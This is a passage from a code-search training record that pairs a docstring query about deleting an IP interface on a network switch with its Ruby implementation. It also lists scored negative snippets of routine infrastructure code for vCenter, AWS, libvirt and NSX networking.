create(opts)\n opts = check_params(opts,[:admin_ips,:netmasks])\n super(opts)\n end", "def create\n @ip_table = IpTable.new(params[:ip_table])\n\n respond_to do |format|\n if @ip_table.save\n format.html { redirect_to @ip_table, notice: 'Ip table was successfully created.' }\n format.json { render json: @ip_table, status: :created, location: @ip_table }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ip_table.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_add_switch_port\n login_as make_admin_user\n @switch = Node.make(:switch)\n @nsp = NetworkSwitchPort.plan(:switch_id => @switch.id)\n @node = Node.make(:physical, :datacenter_id => @switch.datacenter_id)\n Capybara::visit \"/node/show/#{@node.id}\"\n assert_difference('@node.network_switch_ports.count', 1) do\n Capybara::within(:css, '#add_switch_port_node') do\n Capybara::select @switch.to_label, :from => 'switch_port_switch_id'\n Capybara::fill_in 'switch_port_port', :with => @nsp[:port]\n Capybara::click 'Plug'\n end\n assert Capybara::has_xpath?(\"//td[.='#{@nsp[:port]}']\")\n end\n end", "def create_pg\n #-----------------------------------------------------------------------\n # Get parameters needed to create the network\n #-----------------------------------------------------------------------\n vlan_id = self['VLAN_ID'] || \"0\"\n pg_name = self['BRIDGE']\n pnics = self['TEMPLATE/PHYDEV']\n sw_name = self['TEMPLATE/VCENTER_SWITCH_NAME']\n mtu = self['TEMPLATE/MTU']\n nports = self['TEMPLATE/VCENTER_SWITCH_NPORTS']\n\n nports = 128 if nports.empty?\n mtu = nil if mtu.empty?\n pnics = nil if pnics.empty?\n\n esxs = []\n newpgs = []\n errors = []\n\n #-----------------------------------------------------------------------\n # Initialize a ESX references for all ESX in all Clusters\n #-----------------------------------------------------------------------\n @clusters.each do |cluster|\n cli = cluster[:cli]\n\n cluster[:ccr]['host'].each do |host|\n esxs << VCenterDriver::ESXHost.new_from_ref(host._ref, cli)\n end\n end\n\n #-----------------------------------------------------------------------\n # Check PG does not exists and create it on all ESX hosts\n #-----------------------------------------------------------------------\n esxs.each do |esx|\n pg = esx.pg_exists(pg_name)\n raise \"Port Group #{pg_name} already exists\" if pg\n end\n\n esxs.each do |esx|\n begin\n apnic = nil\n apnic = esx.available_pnics if pnics\n\n vs = esx.vss_exists(sw_name)\n\n esx.create_vss(sw_name, nports, pnics, mtu, apnic) unless vs\n\n newpgs << esx.create_pg(pg_name, sw_name, vlan_id)\n rescue StandardError => e\n msg = \"\\tHost #{esx['name']}. Reason: \\\"#{e.message}\\\".\\n\"\n msg << \"#{e.backtrace}\\n\" if @debug\n\n errors << msg\n end\n end\n\n #-----------------------------------------------------------------------\n # Sanity Check all new_pg references should be the same\n # Rollback PG creation in case of any error\n #-----------------------------------------------------------------------\n unless errors.empty?\n message = \"Error adding port group to hosts:\\n\"\n message << errors.join\n\n esxs.each do |esx|\n begin\n esx.network_rollback\n rescue StandardError => e\n message << \"Error in rollback for #{esx['name']}: #{e.message}\\n\"\n end\n end\n\n raise message\n end\n\n raise \"Different PG refs!:\\n#{newpgs}\" if newpgs.uniq.length != 1\n\n \"VCENTER_NET_REF = \\\"#{newpgs[0]}\\\"\\n\"\\\n \"VCENTER_INSTANCE_ID = \\\"#{@clusters[0][:uuid]}\\\"\\n\"\n end", "def natrule_create(network_id, name, source_ip)\n org_endpoint \"/network/#{network_id}/natrule\"\n xml_params(name: name, source_ip: source_ip)\n post\n end", "def create_node(options={})\n (raise CloudLB::Exception::MissingArgument, \"Must provide a node IP address\") if options[:address].to_s.empty?\n (raise CloudLB::Exception::MissingArgument, \"Must provide a node TCP port\") if options[:port].to_s.empty?\n options[:condition] ||= \"ENABLED\"\n body = {:nodes => [options]}.to_json\n response = @connection.lbreq(\"POST\", @lbmgmthost, \"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}/nodes\",@lbmgmtport,@lbmgmtscheme,{},body)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n body = JSON.parse(response.body)['nodes'][0]\n return get_node(body[\"id\"])\n end" ]
[ "0.6961242", "0.6796134", "0.625823", "0.62570256", "0.6162629", "0.603976", "0.59058625", "0.58399516", "0.583043", "0.5512155", "0.55094576", "0.55082315", "0.5446946", "0.54443663", "0.5378545", "0.5333774", "0.52840954", "0.5275015", "0.52708924", "0.52643955", "0.5227075", "0.52110386", "0.51950824", "0.51898575", "0.51786155", "0.5178464", "0.5174803", "0.5167991", "0.5145021", "0.5141494", "0.5137894", "0.51362205", "0.507671", "0.5067902", "0.5064731", "0.5060917", "0.50539476", "0.50510794", "0.50469464", "0.5040367", "0.50225323", "0.50219494", "0.50161344", "0.501119", "0.501119", "0.501119", "0.49881393", "0.49834406", "0.4983296", "0.49798167", "0.49741945", "0.4972015", "0.49654013", "0.49534357", "0.495106", "0.4931547", "0.491794", "0.4915138", "0.49073255", "0.48946932", "0.48764768", "0.48613816", "0.48602262", "0.48596618", "0.48578534", "0.48549607", "0.48438618", "0.4843062", "0.48405078", "0.4840158", "0.48397723", "0.48348287", "0.48330656", "0.48323596", "0.48195392", "0.48154694", "0.48078918", "0.48077798", "0.4800183", "0.47993633", "0.47980043", "0.47969547", "0.47938204", "0.47930977", "0.4788175", "0.47761956", "0.47749048", "0.4768856", "0.47667846", "0.47650665", "0.475954", "0.47592145", "0.47509596", "0.47506064", "0.4750019", "0.47385433", "0.4737732", "0.47342047", "0.47314084", "0.47288194" ]
0.6684965
2
delete will delete an existing IP interface in the node's current configuration. If the IP interface does not exist on the specified interface, this method will still return success. This command will default the interface back to being a switchport.
def delete(name) configure(["interface #{name}", 'no ip address', 'switchport']) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client_opts = {}\n client_opts[:network_interface_id] = network_interface_id\n client.delete_network_interface(client_opts)\n nil\n end", "def delete(name)\n configure [\"interface #{name}\", 'no switchport']\n end", "def restart_interface(interface)\n # Force deletion, so directories actually get deleted.\n Puppet.info( \"Restarting interface %s\" % interface)\n system(\"ifdown %s\" % interface)\n sleep 15\n system(\"ifup %s\" % interface) || raise(\"Restarting interface failed!\")\n\n ip = get_facter_value(\"ipaddress_%s\" % interface)\n Puppet.info( \"IP address of %s is %s\" % [interface, ip])\n if ip.nil? || ip.empty?\n raise \"Restarted interface, %s, but it did not get a valid IP address.\" % interface\n end\n end", "def delete(value)\n configure(\"no interface #{value}\")\n end", "def destroy\n @interface = Interface.find(params[:id])\n @virtualmachine = Virtualmachine.find(@interface.virtualmachine_id)\n position_networkcard = `cat /etc/libvirt/qemu/#{@virtualmachine.hostname}.xml | grep -n \"slot='0x#{@interface.pci_slot}\" | cut -d ':' -f1`\n begin_networkcard = position_networkcard.to_i - 4\n end_networkcard = position_networkcard.to_i + 1\n delete_networkcard = `sed -i '#{begin_networkcard},#{end_networkcard}d' /etc/libvirt/qemu/#{@virtualmachine.hostname}.xml`\n\n @interface.destroy\n\n respond_to do |format|\n format.html { redirect_to interfaces_url }\n format.json { head :no_content }\n end\n end", "def cmd_clear_interface argv\n setup argv\n interface = @hash['interfaces']\n response = @api.clear_interface(interface)\n msg response\n return response\n end", "def action_delete\n if current_resource.exists?\n converge_by(\"remove l2interface #{current_resource.name}\") do\n command = \"netdev l2interface delete #{new_resource.l2_interface_name}\"\n execute_command(command)\n end\n end\n end", "def destroy\n @interface = Interface.find(params[:id])\n @interface.destroy\n\t\tredirect_to edit_host_path(@interface.host)\n end", "def delete_fusion_vm_network(options,install_interface)\n exists = check_fusion_vm_exists(options)\n if exists == true\n vm_list = get_running_fusion_vms(options)\n if !vm_list.to_s.match(/#{options['name']}/)\n fusion_vmx_file = get_fusion_vm_vmx_file(options)\n if install_interface == options['empty']\n message = \"Information:\\tGetting network interface list for \"+options['name']\n command = \"'#{options['vmrun']}' listNetworkAdapters '#{fusion_vmx_file}' |grep ^Total |cut -f2 -d:\"\n output = execute_command(options,message,command)\n last_id = output.chomp.gsub(/\\s+/,\"\")\n last_id = last_id.to_i\n if last_id == 0\n handle_output(options,\"Warning:\\tNo network interfaces found\")\n return\n else\n last_id = last_id-1\n install_interface = last_id.to_s\n end\n end\n message = \"Information:\\tDeleting network interface from \"+options['name']\n command = \"'#{options['vmrun']}' deleteNetworkAdapter '#{fusion_vmx_file}' #{install_interface}\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Information:\\t#{options['vmapp']} VM #{options['name']} is Running\")\n end\n else\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} doesn't exist\")\n end\n return\nend", "def destroy!\n release_eip! if eip?\n print \"Deleting ENI (#{interface.id})...\"\n interface.delete\n # There is ~a second or so where the API can still find the ENI even\n # though it's \"deleted\".\n sleep(3)\n @interface = nil\n puts 'OK'\n end", "def delete_router_interface(router, id, type)\n data = case type\n when 'port' then { 'port_id' => id }\n when 'subnet' then { 'subnet_id' => id } \n else raise \"Invalid Interface Type\" \n end\n return put_request(address(\"routers/\" + router + \"/remove_router_interface\"), data, @token)\n end", "def destroy\n @interface = Interface.find(params[:id])\n @interface.destroy\n\n respond_to do |format|\n format.html { redirect_to interfaces_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ipranedge_interface.destroy\n respond_to do |format|\n format.html { redirect_to ipranedge_interfaces_url, notice: 'Ipranedge interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(opt)\n ipaddr_modify(RTM_DELADDR, 0, opt)\n end", "def destroy\n @ipranaccess_interface.destroy\n respond_to do |format|\n format.html { redirect_to ipranaccess_interfaces_url, notice: 'Ipranaccess interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(inode)\n logger.info(\"machine.delete\")\n raise Exceptions::NotImplemented\n end", "def destroy\n @interface = SWUI::Interface.find(params[:id])\n @interface.destroy\n\n respond_to do |format|\n format.html { redirect_to(interfaces_url) }\n format.xml { head :ok }\n end\n end", "def remove_netif(opts)\n\n end", "def remove_netif(opts)\n\n end", "def remove_netif(opts)\n\n end", "def detach_nic(mac)\n\n eth = @vm.config.hardware.device.find { |d|\n (d.class.ancestors[1] == RbVmomi::VIM::VirtualEthernetCard) &&\n (d.macAddress == mac)\n }\n\n return -1 if eth.nil?\n\n spec = {\n :deviceChange => [\n :operation => :remove,\n :device => eth\n ]\n }\n\n @vm.ReconfigVM_Task(:spec => spec).wait_for_completion\n end", "def destroy\n @concrete_interface = SHDM::ConcreteInterface.find(params[:id])\n @concrete_interface.destroy\n\n respond_to do |format|\n format.html { redirect_to(concrete_interfaces_url) }\n format.xml { head :ok }\n end\n end", "def delete_floating_ip\n raw_delete_floating_ip\n end", "def remove(private_ip, interface=nil, release=true)\n\n\t\t\t# if interface not provided, infer it from the private ip. if it is\n\t\t\t# provided check that it corresponds to our private ip or raise an\n\t\t\t# exception. this is merely a safeguard\n\n\t\t\t# if the private ip has an associated EIP, call dissoc and pass in the\n\t\t\t# provided release parameter\n\n\t\t\t# remove the private ip from the local machine's config and routing tables\n\t\t\t# before using the AWS api to remove the private ip from our ENI.\n\n\t\t\t# return true\n\t\tend", "def destroy\n requires :id\n\n service.delete_internet_gateway(id)\n true\n end", "def delete(destination, nexthop = nil)\n cmd = \"no ip route #{destination}\"\n cmd << \" #{nexthop}\" if nexthop\n configure cmd\n end", "def drop(interface)\n @pool.drop\n end", "def delete_floating_ip(id)\n check_extension(\"os-floating-ips\")\n @connection.req(\"DELETE\", \"/os-floating-ips/#{id}\")\n true\n end", "def destroy\n requires :id\n \n service.delete_nat_gateway(id)\n true\n end", "def disconnected(interface)\n\t\t@status_lock.synchronize {\n\t\t\tstatus_array = @connected_interfaces.delete(interface)\n\t\t\tstatus_array.each do |status_hash|\n\t\t\t\tstatus_hash.delete(interface)\n\t\t\tend\n\t\t\t#\n\t\t\t# TODO::Refactor required\n\t\t\t#\tThis still isn't perfect as we could be observing modules we are not using...\n\t\t\t#\n\t\t}\n\t\tlogger.debug \"-- Interface #{interface.class} disconnected\" unless logger.nil?\n\tend", "def remove\n unless name.nil?\n dhcp.remove self if dhcp\n VirtualBox.run_command ['VBoxManage', 'hostonlyif', 'remove', name]\n end\n self\n end", "def remove_netif(netifs, netif)\n end", "def delete(name, _options = {})\n exec(\"delete\", c: name, p: port)\n end", "def remove_netif(opts)\n do_remove_netif(opts[:netif].name)\n end", "def delete_nic(*nics)\n # Trying to remove a NIC without removing the network connection\n # first will cause an error. Removing the network connection of a NIC\n # in the NetworkConnectionSection will automatically delete the NIC.\n net_conn_section = network_connection_section\n vhw_section = hardware_section\n nics.each do |nic|\n nic_index = nic.nic_index\n net_conn_section.remove_network_connection(nic_index)\n vhw_section.remove_nic(nic_index)\n end\n end", "def delete_tier1_interface(tier_1_id, locale_services_id, interface_id, opts = {})\n delete_tier1_interface_with_http_info(tier_1_id, locale_services_id, interface_id, opts)\n nil\n end", "def destroy\n @ipranaccess_qosingressinterface.destroy\n respond_to do |format|\n format.html { redirect_to ipranaccess_qosingressinterfaces_url, notice: 'Ipranaccess qosingressinterface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_vnic_eth_if(moid, opts = {})\n delete_vnic_eth_if_with_http_info(moid, opts)\n nil\n end", "def create_test_interface\n cmd_out = `VBoxManage hostonlyif create`\n network_description = cmd_out.match(/.*'(.*)'.*/).captures[0]\n `VBoxManage.exe hostonlyif ipconfig \\\"#{network_description}\\\" --ip #{TEST_IP}`\n sleep 3\n network_description\n end", "def create_test_interface\n cmd_out = `VBoxManage hostonlyif create`\n network_description = cmd_out.match(/.*'(.*)'.*/).captures[0]\n `VBoxManage.exe hostonlyif ipconfig \\\"#{network_description}\\\" --ip #{TEST_IP}`\n sleep 3\n network_description\n end", "def delete(opt)\n raise \"Missing vlan_id\" unless opt[:vlan_id]\n raise \"Missing link\" unless opt[:link]\n link = list(:link=>opt[:link]).find { |l|\n l.linkinfo.data &&\n l.linkinfo.data.id == opt[:vlan_id]\n }\n raise Errno::ENODEV unless link\n @rtsocket.link.delete(link.index)\n end", "def delete_port(external_port, protocol = TCP, remote_host = '')\r\n return debug('No WAN Service') unless @wan_service\r\n return send_action(@wan_service, 'DeletePortMapping', \r\n NewRemoteHost: remote_host, \r\n NewExternalPort: external_port, \r\n NewProtocol: (protocol == TCP ? TCP : UDP))\r\n end", "def interface?(ifname)\n\n\t\tip('link', 'list', ifname)\n\t\trescue Puppet::ExecutionFailure\n\t\t\twarnonce(\"Network interface \" + ifname + \" does not exist\")\n\n\tend", "def delete_tier1_interface_0(tier_1_id, locale_services_id, interface_id, opts = {})\n delete_tier1_interface_0_with_http_info(tier_1_id, locale_services_id, interface_id, opts)\n nil\n end", "def destroy\n @face_ip.destroy\n end", "def get_interface_cleanup_config(intf_name)\n if platform == :ios_xr\n [\"no interface #{intf_name}\", \"interface #{intf_name} shutdown\"]\n else\n [\"default interface #{intf_name}\"]\n end\n end", "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "def deconfigure\n # assume eth0 primary ip is managed by dhcp\n if name == 'eth0'\n cmd(\"addr flush dev eth0 secondary\")\n else\n cmd(\"rule list\").lines.grep(/^([0-9]+):.*lookup #{route_table}/) do\n cmd(\"rule delete pref #{$1}\")\n end\n cmd(\"addr flush dev #{name}\")\n cmd(\"route flush table #{route_table}\")\n cmd(\"route flush cache\")\n end\n @clean = true\n end", "def delete_ingress(namespace, ingress_name)\n if namespace_exists?(namespace) && object_exists?(namespace, \"ingress\", ingress_name)\n execute(\"kubectl delete ingress #{ingress_name} -n #{namespace}\")\n end\nend", "def remove_network_interface_properties\n properties = []\n properties << :SourceDestCheck\n properties << :Tags\n add_patch Patches::RemoveProperty.new 'AWS::EC2::NetworkInterface', properties\n end", "def delete(network_id, id)\n request(:delete, \"/settings/networks/#{network_id}/ip_addresses/#{id}.json\")\n end", "def disconnect\n @interface.disconnect\n end", "def destroy\n requires :ip\n remove(:release => true)\n end", "def clear(interface, options = {})\n if interface.visible?\n new(interface, options).write\n\n else\n []\n\n end\n end", "def remove_agent_interface(opts)\n opts = check_params(opts,[:agent_intf])\n super(opts)\n end", "def destroy\n @cachenetflix_interface.destroy\n respond_to do |format|\n format.html { redirect_to cachenetflix_interfaces_url, notice: 'Cachenetflix interface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n requires :id\n service.delete_dhcp_options(id)\n true\n end", "def detach_nic(mac)\n spec_hash = {}\n\n nic = nic(mac) rescue nil\n\n return if !nic || nic.no_exists?\n\n # Remove NIC from VM in the ReconfigVM_Task\n spec_hash[:deviceChange] = [\n :operation => :remove,\n :device => nic.vc_item\n ]\n begin\n @item.ReconfigVM_Task(:spec => spec_hash).wait_for_completion\n rescue StandardError => e\n error = \"Cannot detach NIC from VM: #{e.message}.\"\n\n if VCenterDriver::CONFIG[:debug_information]\n error += \"\\n\\n#{e.backtrace.join(\"\\n\")}\"\n end\n\n raise error\n end\n end", "def delete\n config = get\n return true unless config\n configure(\"no router bgp #{config[:bgp_as]}\")\n end", "def destroy\n @ip = AllowedIpAddress.find(params[:id])\n @ip.destroy\n\n respond_to do |format|\n flash[:notice] = 'Allowed IP Address was successfully deleted.'\n format.html { redirect_to allowed_ip_address_path }\n format.xml { head :ok }\n end\n end", "def destroy\n @connection.destroy\n respond_to do |format|\n format.html { redirect_to device_interfaces_url(@interface.device), notice: 'Connection was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def remove_alias(ip)\n cmd(\"addr del #{ip}/#{prefix} dev #{name}\")\n unless name == 'eth0' || !cmd(\"rule list\").match(/([0-9]+):\\s+from #{ip} lookup #{route_table}/)\n cmd(\"rule delete pref #{$1}\")\n end\n end", "def interface_cleanup(intf_name)\n cfg = get_interface_cleanup_config(intf_name)\n config(*cfg)\n end", "def destroy\n @ip = Ip.find(params[:id])\n @ip.destroy\n\n respond_to do |format|\n format.html { redirect_to ips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_face_ip.destroy\n end", "def delete_tier1_interface_0_with_http_info(tier_1_id, locale_services_id, interface_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface_0 ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface_0\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface_0\"\n end\n # verify the required parameter 'interface_id' is set\n if @api_client.config.client_side_validation && interface_id.nil?\n fail ArgumentError, \"Missing the required parameter 'interface_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface_0\"\n end\n # resource path\n local_var_path = '/global-infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/interfaces/{interface-id}'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s).sub('{' + 'interface-id' + '}', interface_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi#delete_tier1_interface_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def delete_tier1_interface_with_http_info(tier_1_id, locale_services_id, interface_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface\"\n end\n # verify the required parameter 'interface_id' is set\n if @api_client.config.client_side_validation && interface_id.nil?\n fail ArgumentError, \"Missing the required parameter 'interface_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_interface\"\n end\n # resource path\n local_var_path = '/infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/interfaces/{interface-id}'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s).sub('{' + 'interface-id' + '}', interface_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi#delete_tier1_interface\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n @ipranaccess_qosegressinterface.destroy\n respond_to do |format|\n format.html { redirect_to ipranaccess_qosegressinterfaces_url, notice: 'Ipranaccess qosegressinterface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def del_ip(vid, ip_address)\n perform_request(:action => 'vserver-delip', :vserverid => vid, :ipaddr => ip_address)\n end", "def delete(virtual_machine_id, ip_address_id)\n request(:delete, \"/virtual_machines/#{virtual_machine_id}/ip_addresses/#{ip_address_id}.json\")\n end", "def delete_tier1_service_interface_0(tier_1_id, locale_service_id, interface_id, opts = {})\n delete_tier1_service_interface_0_with_http_info(tier_1_id, locale_service_id, interface_id, opts)\n nil\n end", "def has_address(interface)\n ip = Facter::Util::IP.get_interface_value(interface, 'ipaddress')\n if ip.nil?\n false\n else\n true\n end\nend", "def update_network_interfaces(name, address)\n default_nm = '255.255.255.0'\n (parts = address.split('.')).last.replace('1')\n default_gw = parts.join('.')\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'interfaces'), 'w') do |file|\n file.puts \"auto lo eth0\"\n file.puts \"iface lo inet loopback\"\n file.puts \"iface eth0 inet static\"\n file.puts \" address #{address}\"\n file.puts \" gateway #{conf['gateway'] || default_gw}\"\n file.puts \" netmask #{conf['netmask'] || default_nm}\"\n file.puts \" dns-nameservers #{Array(conf['nameserver'] || default_gw).join(' ')}\"\n end\n File.open(pinger = File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'if-up.d', '001base-pinger'), 'w') do |file|\n file.puts \"#!/bin/sh\"\n file.puts \"/bin/ping -c 1 #{local_ip_address} > /dev/null\"\n end\n File.chmod(0755, pinger)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'cron.d', 'base-pinger'), 'w') do |file|\n file.puts \"* * * * * root /bin/ping -c 1 #{local_ip_address} > /dev/null\"\n file.puts \"\"\n end\n hosts = File.readlines(hosts_path = File.join(KVM_MOUNT_POINT, name, 'etc', 'hosts'))\n File.open(hosts_path, 'w') do |file|\n file.write hosts.join(\"\\n\")\n file.puts \"127.0.0.1 #{name}\"\n end\nend", "def delete_tier1_service_interface(tier_1_id, locale_service_id, interface_id, opts = {})\n delete_tier1_service_interface_with_http_info(tier_1_id, locale_service_id, interface_id, opts)\n nil\n end", "def remove_ip(ip)\n send_req({a: :nul, key: ip})\n end", "def remove(options = {})\n requires :ip\n raise Fog::Errors::Error.new('Ip is not attached to a server.') if serverid.nil?\n data = service.ip_remove({:ipaddress => ip}.merge!(options)).body[\"response\"][\"details\"]\n merge_attributes data\n end", "def delete_vnic_fc_if(moid, opts = {})\n delete_vnic_fc_if_with_http_info(moid, opts)\n nil\n end", "def delete_tier1_service_interface_0_with_http_info(tier_1_id, locale_service_id, interface_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface_0 ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface_0\"\n end\n # verify the required parameter 'locale_service_id' is set\n if @api_client.config.client_side_validation && locale_service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_service_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface_0\"\n end\n # verify the required parameter 'interface_id' is set\n if @api_client.config.client_side_validation && interface_id.nil?\n fail ArgumentError, \"Missing the required parameter 'interface_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface_0\"\n end\n # resource path\n local_var_path = '/global-infra/tier-1s/{tier-1-id}/locale-services/{locale-service-id}/service-interfaces/{interface-id}'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-service-id' + '}', locale_service_id.to_s).sub('{' + 'interface-id' + '}', interface_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi#delete_tier1_service_interface_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def remove_netif(netifs, netif)\n do_remove_netif(netif.name)\n end", "def remove_netif(netifs, netif)\n do_remove_netif(netif.name)\n end", "def delete\n execute(\"unregistervm\", @uuid, \"--delete\")\n end", "def destroy\n @card_ip.destroy\n end", "def del_ip(vid, ip_address)\n perform_request(action: 'vserver-delip', vserverid: vid, ipaddr: ip_address)\n end", "def destroy\n @iprannet_qosegressinterface.destroy\n respond_to do |format|\n format.html { redirect_to iprannet_qosegressinterfaces_url, notice: 'Iprannet qosegressinterface was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fixed_ip = FixedIp.find(params[:id])\n @fixed_ip.destroy\n\n respond_to do |format|\n format.html { redirect_to fixed_ips_url }\n format.json { head :no_content }\n end\n end", "def deallocate(proposal, service, network)\n Command::VirtualIP::Deallocate.new(\n *command_params(\n proposal: proposal,\n service: service,\n network: network\n )\n ).execute\n rescue => e\n catch_errors(e)\n end", "def teardown_server_networking(server)\n server.configured_interfaces.each do |interface|\n partition = interface.partitions.first\n\n next unless port = type.find_mac(partition[\"mac_address\"], :server => server)\n\n logger.info(\"Resetting port %s / %s to untagged vlan 1 and no tagged vlans\" % [server.puppet_certname, partition.fqdd])\n\n resource_creator.configure_interface_vlan(port, \"1\", false, true)\n end\n end", "def create_host_only_network(options)\n # Create the interface\n execute(\"hostonlyif\", \"create\") =~ /^Interface '(.+?)' was successfully created$/\n name = $1.to_s\n\n # Configure it\n execute(\"hostonlyif\", \"ipconfig\", name,\n \"--ip\", options[:ip],\n \"--netmask\", options[:netmask])\n\n # Return the details\n return {\n :name => name,\n :ip => options[:ip],\n :netmask => options[:netmask]\n }\n end", "def delete_tunnel\n super\n end", "def destroy\n @ip_addr = IpAddr.find(params[:id])\n @ip_addr.destroy\n\n respond_to do |format|\n format.html { redirect_to(ip_addrs_url) }\n format.xml { head :ok }\n end\n end", "def delete_tier1_service_interface_with_http_info(tier_1_id, locale_service_id, interface_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.delete_tier1_service_interface\"\n end\n # verify the required parameter 'locale_service_id' is set\n if @api_client.config.client_side_validation && locale_service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_service_id' when calling 